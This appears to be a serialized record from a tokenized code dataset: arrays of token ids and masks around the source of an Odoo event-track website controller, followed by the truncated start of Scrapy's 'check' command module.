63,
466,
12,
901,
63,
1162,
12,
901,
63,
5983,
339,
347,
664,
63,
2024,
8,
277,
12,
1817,
63,
354,
12,
9565,
304,
267,
3404,
63,
1278,
275,
1613,
8,
3110,
12,
291,
680,
362,
63,
2024,
8,
1224,
63,
354,
12,
9565,
9,
267,
340,
1817,
63,
354,
315,
291,
14,
5668,
63,
5987,
26,
288,
327,
982,
314,
1817,
365,
282,
25637,
1373,
12,
2066,
781,
1929,
1852,
288,
327,
8875,
2988,
314,
849,
5256,
367,
314,
1402,
14,
288,
3404,
63,
1278,
14,
3176,
8,
16,
12,
283,
259,
2251,
275,
1709,
14,
10748,
2988,
19004,
267,
372,
3404,
63,
1278,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
fossoult/odoo
|
addons/website_event_track/controllers/event.py
|
332
|
8323
|
# -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2013-Today OpenERP SA (<http://www.openerp.com>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
import collections
import datetime
import re
import pytz
import openerp
import openerp.tools
from openerp.addons.web import http
from openerp.addons.web.http import request
class website_event(http.Controller):
@http.route(['''/event/<model("event.event"):event>/track/<model("event.track", "[('event_id','=',event[0])]"):track>'''], type='http', auth="public", website=True)
def event_track_view(self, event, track, **post):
track_obj = request.registry.get('event.track')
track = track_obj.browse(request.cr, openerp.SUPERUSER_ID, track.id, context=request.context)
values = { 'track': track, 'event': track.event_id, 'main_object': track }
return request.website.render("website_event_track.track_view", values)
def _prepare_calendar(self, event, event_track_ids):
local_tz = pytz.timezone(event.timezone_of_event or 'UTC')
locations = {} # { location: [track, start_date, end_date, rowspan]}
dates = [] # [ (date, {}) ]
for track in event_track_ids:
locations.setdefault(track.location_id or False, [])
forcetr = True
for track in event_track_ids:
start_date = (datetime.datetime.strptime(track.date, '%Y-%m-%d %H:%M:%S')).replace(tzinfo=pytz.utc).astimezone(local_tz)
end_date = start_date + datetime.timedelta(hours = (track.duration or 0.5))
location = track.location_id or False
locations.setdefault(location, [])
# New TR, align all events
if forcetr or (start_date>dates[-1][0]) or not location:
dates.append((start_date, {}, bool(location)))
for loc in locations.keys():
if locations[loc] and (locations[loc][-1][2] > start_date):
locations[loc][-1][3] += 1
elif not locations[loc] or locations[loc][-1][2] < start_date:
locations[loc].append([False, locations[loc] and locations[loc][-1][2] or dates[0][0], start_date, 1])
dates[-1][1][loc] = locations[loc][-1]
forcetr = not bool(location)
# Add event
if locations[location] and locations[location][-1][1] > start_date:
locations[location][-1][3] -= 1
locations[location].append([track, start_date, end_date, 1])
dates[-1][1][location] = locations[location][-1]
return {
'locations': locations,
'dates': dates
}
# TODO: not implemented
@http.route(['''/event/<model("event.event", "[('show_tracks','=',1)]"):event>/agenda'''], type='http', auth="public", website=True)
def event_agenda(self, event, tag=None, **post):
days_tracks = collections.defaultdict(lambda: [])
for track in sorted(event.track_ids, key=lambda x: (x.date, bool(x.location_id))):
if not track.date: continue
days_tracks[track.date[:10]].append(track)
days = {}
days_tracks_count = {}
for day, tracks in days_tracks.iteritems():
days_tracks_count[day] = len(tracks)
days[day] = self._prepare_calendar(event, tracks)
cr, uid, context = request.cr, request.uid, request.context
track_obj = request.registry['event.track']
tracks_ids = track_obj.search(cr, openerp.SUPERUSER_ID, [('event_id', '=', event.id)], context=context)
speakers = dict()
for t in track_obj.browse(cr, openerp.SUPERUSER_ID, tracks_ids, context=context):
acc = ""
for speaker in t.speaker_ids:
acc = speaker.name + u" – " + acc if acc else speaker.name
speakers[t.id] = acc
return request.website.render("website_event_track.agenda", {
'event': event,
'days': days,
'days_nbr': days_tracks_count,
'speakers': speakers,
'tag': tag
})
@http.route([
'''/event/<model("event.event", "[('show_tracks','=',1)]"):event>/track''',
'''/event/<model("event.event", "[('show_tracks','=',1)]"):event>/track/tag/<model("event.track.tag"):tag>'''
], type='http', auth="public", website=True)
def event_tracks(self, event, tag=None, **post):
searches = {}
if tag:
searches.update(tag=tag.id)
track_obj = request.registry.get('event.track')
track_ids = track_obj.search(request.cr, request.uid,
[("id", "in", [track.id for track in event.track_ids]), ("tag_ids", "=", tag.id)], context=request.context)
tracks = track_obj.browse(request.cr, request.uid, track_ids, context=request.context)
else:
tracks = event.track_ids
def html2text(html):
return re.sub(r'<[^>]+>', "", html)
values = {
'event': event,
'main_object': event,
'tracks': tracks,
'tags': event.tracks_tag_ids,
'searches': searches,
'html2text': html2text
}
return request.website.render("website_event_track.tracks", values)
@http.route(['''/event/<model("event.event", "[('show_track_proposal','=',1)]"):event>/track_proposal'''], type='http', auth="public", website=True)
def event_track_proposal(self, event, **post):
values = { 'event': event }
return request.website.render("website_event_track.event_track_proposal", values)
@http.route(['/event/<model("event.event"):event>/track_proposal/post'], type='http', auth="public", methods=['POST'], website=True)
def event_track_proposal_post(self, event, **post):
cr, uid, context = request.cr, request.uid, request.context
tobj = request.registry['event.track']
tags = []
for tag in event.allowed_track_tag_ids:
if post.get('tag_'+str(tag.id)):
tags.append(tag.id)
e = openerp.tools.escape
track_description = '''<section data-snippet-id="text-block">
<div class="container">
<div class="row">
<div class="col-md-12 text-center">
<h2>%s</h2>
</div>
<div class="col-md-12">
<p>%s</p>
</div>
<div class="col-md-12">
<h3>About The Author</h3>
<p>%s</p>
</div>
</div>
</div>
</section>''' % (e(post['track_name']),
e(post['description']), e(post['biography']))
track_id = tobj.create(cr, openerp.SUPERUSER_ID, {
'name': post['track_name'],
'event_id': event.id,
'tag_ids': [(6, 0, tags)],
'user_id': False,
'description': track_description
}, context=context)
tobj.message_post(cr, openerp.SUPERUSER_ID, [track_id], body="""Proposed By: %s<br/>
Mail: <a href="mailto:%s">%s</a><br/>
Phone: %s""" % (e(post['partner_name']), e(post['email_from']),
e(post['email_from']), e(post['phone'])), context=context)
track = tobj.browse(cr, uid, track_id, context=context)
values = {'track': track, 'event':event}
return request.website.render("website_event_track.event_track_proposal_success", values)
|
agpl-3.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
6171,
13,
31982,
7653,
13950,
8642,
1014,
921,
1544,
14,
11267,
14,
957,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
646,
5055,
199,
199,
646,
2197,
199,
646,
295,
199,
199,
646,
15444,
199,
199,
646,
5166,
199,
646,
5166,
14,
2537,
199,
504,
5166,
14,
10788,
14,
2520,
492,
1455,
199,
504,
5166,
14,
10788,
14,
2520,
14,
1014,
492,
1056,
199,
199,
533,
10691,
63,
1430,
8,
1014,
14,
7506,
304,
272,
768,
1014,
14,
4449,
2941,
891,
15,
1430,
8316,
1238,
480,
1430,
14,
1430,
2349,
1430,
12202,
3885,
8316,
1238,
480,
1430,
14,
3885,
401,
7369,
360,
1430,
63,
344,
18937,
1430,
59,
16,
12457,
2349,
3885,
30,
891,
995,
730,
534,
1014,
297,
1790,
628,
3455,
401,
10691,
29,
549,
9,
272,
347,
1566,
63,
3885,
63,
1345,
8,
277,
12,
1566,
12,
4426,
12,
1011,
1932,
304,
267,
4426,
63,
1113,
275,
1056,
14,
5189,
14,
362,
360,
1430,
14,
3885,
358,
267,
4426,
275,
4426,
63,
1113,
14,
4570,
8,
1069,
14,
1556,
12,
5166,
14,
20710,
63,
998,
12,
4426,
14,
344,
12,
1067,
29,
1069,
14,
1100,
9,
267,
1338,
275,
469,
283,
3885,
356,
4426,
12,
283,
1430,
356,
4426,
14,
1430,
63,
344,
12,
283,
973,
63,
785,
356,
4426,
789,
267,
372,
1056,
14,
7360,
14,
3352,
480,
7360,
63,
1430,
63,
3885,
14,
3885,
63,
1345,
401,
1338,
9,
339,
347,
485,
6726,
63,
8183,
8,
277,
12,
1566,
12,
1566,
63,
3885,
63,
1580,
304,
267,
2257,
63,
3903,
275,
15444,
14,
7145,
8,
1430,
14,
7145,
63,
1618,
63,
1430,
503,
283,
11288,
358,
267,
9918,
275,
1052,
8295,
327,
469,
2909,
26,
359,
3885,
12,
1343,
63,
602,
12,
1284,
63,
602,
12,
1962,
3751,
9420,
267,
10831,
275,
942,
10473,
327,
359,
334,
602,
12,
5009,
1622,
267,
367,
4426,
315,
1566,
63,
3885,
63,
1580,
26,
288,
9918,
14,
5486,
8,
3885,
14,
1985,
63,
344,
503,
756,
12,
3073,
398,
3542,
454,
275,
715,
267,
367,
4426,
315,
1566,
63,
3885,
63,
1580,
26,
288,
1343,
63,
602,
275,
334,
2083,
14,
2083,
14,
9866,
8,
3885,
14,
602,
12,
1543,
57,
3295,
77,
3295,
68,
450,
40,
2689,
45,
2689,
51,
11103,
1814,
8,
9374,
29,
21948,
14,
5834,
680,
29648,
8,
1832,
63,
3903,
9,
288,
1284,
63,
602,
275,
1343,
63,
602,
435,
2197,
14,
7473,
8,
8419,
275,
334,
3885,
14,
5553,
503,
378,
14,
21,
430,
288,
2909,
275,
4426,
14,
1985,
63,
344,
503,
756,
288,
9918,
14,
5486,
8,
1985,
12,
3073,
953,
327,
7053,
9074,
12,
6998,
1006,
4474,
288,
340,
3542,
454,
503,
334,
928,
63,
602,
30,
9356,
1988,
17,
1527,
16,
566,
503,
440,
2909,
26,
355,
10831,
14,
740,
1332,
928,
63,
602,
12,
5479,
2155,
8,
1985,
1724,
355,
367,
4355,
315,
9918,
14,
1612,
837,
490,
340,
9918,
59,
2102,
61,
436,
334,
8022,
59,
2102,
15898,
17,
1527,
18,
61,
690,
1343,
63,
602,
304,
717,
9918,
59,
2102,
15898,
17,
1527,
19,
61,
847,
413,
490,
916,
440,
9918,
59,
2102,
61,
503,
9918,
59,
2102,
15898,
17,
1527,
18,
61,
665,
1343,
63,
602,
26,
717,
9918,
59,
2102,
1055,
740,
779,
797,
12,
9918,
59,
2102,
61,
436,
9918,
59,
2102,
15898,
17,
1527,
18,
61,
503,
10831,
59,
16,
1527,
16,
467,
1343,
63,
602,
12,
413,
566,
717,
10831,
1988,
17,
1527,
17,
1527,
2102,
61,
275,
9918,
59,
2102,
15898,
17,
61,
355,
3542,
454,
275,
440,
2155,
8,
1985,
9,
953,
327,
2654,
1566,
288,
340,
9918,
59,
1985,
61,
436,
9918,
59,
1985,
15898,
17,
1527,
17,
61,
690,
1343,
63,
602,
26,
355,
9918,
59,
1985,
15898,
17,
1527,
19,
61,
4862,
413,
288,
9918,
59,
1985,
1055,
740,
779,
3885,
12,
1343,
63,
602,
12,
1284,
63,
602,
12,
413,
566,
288,
10831,
1988,
17,
1527,
17,
1527,
1985,
61,
275,
9918,
59,
1985,
15898,
17,
61,
267,
372,
469,
288,
283,
8022,
356,
9918,
12,
288,
283,
9356,
356,
10831,
267,
789,
2378,
327,
3254,
26,
440,
6366,
272,
768,
1014,
14,
4449,
2941,
891,
15,
1430,
8316,
1238,
480,
1430,
14,
1430,
401,
7369,
360,
2384,
63,
16274,
18937,
17,
1874,
2349,
1430,
12202,
643,
29162,
891,
995,
730,
534,
1014,
297,
1790,
628,
3455,
401,
10691,
29,
549,
9,
272,
347,
1566,
63,
643,
29162,
8,
277,
12,
1566,
12,
1947,
29,
403,
12,
1011,
1932,
304,
267,
7609,
63,
16274,
275,
5055,
14,
21501,
8,
2734,
26,
3073,
267,
367,
4426,
315,
3355,
8,
1430,
14,
3885,
63,
1580,
12,
790,
29,
2734,
671,
26,
334,
88,
14,
602,
12,
2155,
8,
88,
14,
1985,
63,
344,
15206,
288,
340,
440,
4426,
14,
602,
26,
1980,
288,
7609,
63,
16274,
59,
3885,
14,
602,
1491,
709,
20230,
740,
8,
3885,
9,
398,
7609,
275,
1052,
267,
7609,
63,
16274,
63,
835,
275,
1052,
267,
367,
5382,
12,
18917,
315,
7609,
63,
16274,
14,
4611,
837
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
6171,
13,
31982,
7653,
13950,
8642,
1014,
921,
1544,
14,
11267,
14,
957,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
646,
5055,
199,
199,
646,
2197,
199,
646,
295,
199,
199,
646,
15444,
199,
199,
646,
5166,
199,
646,
5166,
14,
2537,
199,
504,
5166,
14,
10788,
14,
2520,
492,
1455,
199,
504,
5166,
14,
10788,
14,
2520,
14,
1014,
492,
1056,
199,
199,
533,
10691,
63,
1430,
8,
1014,
14,
7506,
304,
272,
768,
1014,
14,
4449,
2941,
891,
15,
1430,
8316,
1238,
480,
1430,
14,
1430,
2349,
1430,
12202,
3885,
8316,
1238,
480,
1430,
14,
3885,
401,
7369,
360,
1430,
63,
344,
18937,
1430,
59,
16,
12457,
2349,
3885,
30,
891,
995,
730,
534,
1014,
297,
1790,
628,
3455,
401,
10691,
29,
549,
9,
272,
347,
1566,
63,
3885,
63,
1345,
8,
277,
12,
1566,
12,
4426,
12,
1011,
1932,
304,
267,
4426,
63,
1113,
275,
1056,
14,
5189,
14,
362,
360,
1430,
14,
3885,
358,
267,
4426,
275,
4426,
63,
1113,
14,
4570,
8,
1069,
14,
1556,
12,
5166,
14,
20710,
63,
998,
12,
4426,
14,
344,
12,
1067,
29,
1069,
14,
1100,
9,
267,
1338,
275,
469,
283,
3885,
356,
4426,
12,
283,
1430,
356,
4426,
14,
1430,
63,
344,
12,
283,
973,
63,
785,
356,
4426,
789,
267,
372,
1056,
14,
7360,
14,
3352,
480,
7360,
63,
1430,
63,
3885,
14,
3885,
63,
1345,
401,
1338,
9,
339,
347,
485,
6726,
63,
8183,
8,
277,
12,
1566,
12,
1566,
63,
3885,
63,
1580,
304,
267,
2257,
63,
3903,
275,
15444,
14,
7145,
8,
1430,
14,
7145,
63,
1618,
63,
1430,
503,
283,
11288,
358,
267,
9918,
275,
1052,
8295,
327,
469,
2909,
26,
359,
3885,
12,
1343,
63,
602,
12,
1284,
63,
602,
12,
1962,
3751,
9420,
267,
10831,
275,
942,
10473,
327,
359,
334,
602,
12,
5009,
1622,
267,
367,
4426,
315,
1566,
63,
3885,
63,
1580,
26,
288,
9918,
14,
5486,
8,
3885,
14,
1985,
63,
344,
503,
756,
12,
3073,
398,
3542,
454,
275,
715,
267,
367,
4426,
315,
1566,
63,
3885,
63,
1580,
26,
288,
1343,
63,
602,
275,
334,
2083,
14,
2083,
14,
9866,
8,
3885,
14,
602,
12,
1543,
57,
3295,
77,
3295,
68,
450,
40,
2689,
45,
2689,
51,
11103,
1814,
8,
9374,
29,
21948,
14,
5834,
680,
29648,
8,
1832,
63,
3903,
9,
288,
1284,
63,
602,
275,
1343,
63,
602,
435,
2197,
14,
7473,
8,
8419,
275,
334,
3885,
14,
5553,
503,
378,
14,
21,
430,
288,
2909,
275,
4426,
14,
1985,
63,
344,
503,
756,
288,
9918,
14,
5486,
8,
1985,
12,
3073,
953,
327,
7053,
9074,
12,
6998,
1006,
4474,
288,
340,
3542,
454,
503,
334,
928,
63,
602,
30,
9356,
1988,
17,
1527,
16,
566,
503,
440,
2909,
26,
355,
10831,
14,
740,
1332,
928,
63,
602,
12,
5479,
2155,
8,
1985,
1724,
355,
367,
4355,
315,
9918,
14,
1612,
837,
490,
340,
9918,
59,
2102,
61,
436,
334,
8022,
59,
2102,
15898,
17,
1527,
18,
61,
690,
1343,
63,
602,
304,
717,
9918,
59,
2102,
15898,
17,
1527,
19,
61,
847,
413,
490,
916,
440,
9918,
59,
2102,
61,
503,
9918,
59,
2102,
15898,
17,
1527,
18,
61,
665,
1343,
63,
602,
26,
717,
9918,
59,
2102,
1055,
740,
779,
797,
12,
9918,
59,
2102,
61,
436,
9918,
59,
2102,
15898,
17,
1527,
18,
61,
503,
10831,
59,
16,
1527,
16,
467,
1343,
63,
602,
12,
413,
566,
717,
10831,
1988,
17,
1527,
17,
1527,
2102,
61,
275,
9918,
59,
2102,
15898,
17,
61,
355,
3542,
454,
275,
440,
2155,
8,
1985,
9,
953,
327,
2654,
1566,
288,
340,
9918,
59,
1985,
61,
436,
9918,
59,
1985,
15898,
17,
1527,
17,
61,
690,
1343,
63,
602,
26,
355,
9918,
59,
1985,
15898,
17,
1527,
19,
61,
4862,
413,
288,
9918,
59,
1985,
1055,
740,
779,
3885,
12,
1343,
63,
602,
12,
1284,
63,
602,
12,
413,
566,
288,
10831,
1988,
17,
1527,
17,
1527,
1985,
61,
275,
9918,
59,
1985,
15898,
17,
61,
267,
372,
469,
288,
283,
8022,
356,
9918,
12,
288,
283,
9356,
356,
10831,
267,
789,
2378,
327,
3254,
26,
440,
6366,
272,
768,
1014,
14,
4449,
2941,
891,
15,
1430,
8316,
1238,
480,
1430,
14,
1430,
401,
7369,
360,
2384,
63,
16274,
18937,
17,
1874,
2349,
1430,
12202,
643,
29162,
891,
995,
730,
534,
1014,
297,
1790,
628,
3455,
401,
10691,
29,
549,
9,
272,
347,
1566,
63,
643,
29162,
8,
277,
12,
1566,
12,
1947,
29,
403,
12,
1011,
1932,
304,
267,
7609,
63,
16274,
275,
5055,
14,
21501,
8,
2734,
26,
3073,
267,
367,
4426,
315,
3355,
8,
1430,
14,
3885,
63,
1580,
12,
790,
29,
2734,
671,
26,
334,
88,
14,
602,
12,
2155,
8,
88,
14,
1985,
63,
344,
15206,
288,
340,
440,
4426,
14,
602,
26,
1980,
288,
7609,
63,
16274,
59,
3885,
14,
602,
1491,
709,
20230,
740,
8,
3885,
9,
398,
7609,
275,
1052,
267,
7609,
63,
16274,
63,
835,
275,
1052,
267,
367,
5382,
12,
18917,
315,
7609,
63,
16274,
14,
4611,
837,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
fqul/scrapy
|
scrapy/commands/check.py
|
79
|
3422
|
from __future__ import print_function
import time
import sys
from collections import defaultdict
from unittest import TextTestRunner, TextTestResult as _TextTestResult
from scrapy.commands import ScrapyCommand
from scrapy.contracts import ContractsManager
from scrapy.utils.misc import load_object
from scrapy.utils.conf import build_component_list
class TextTestResult(_TextTestResult):
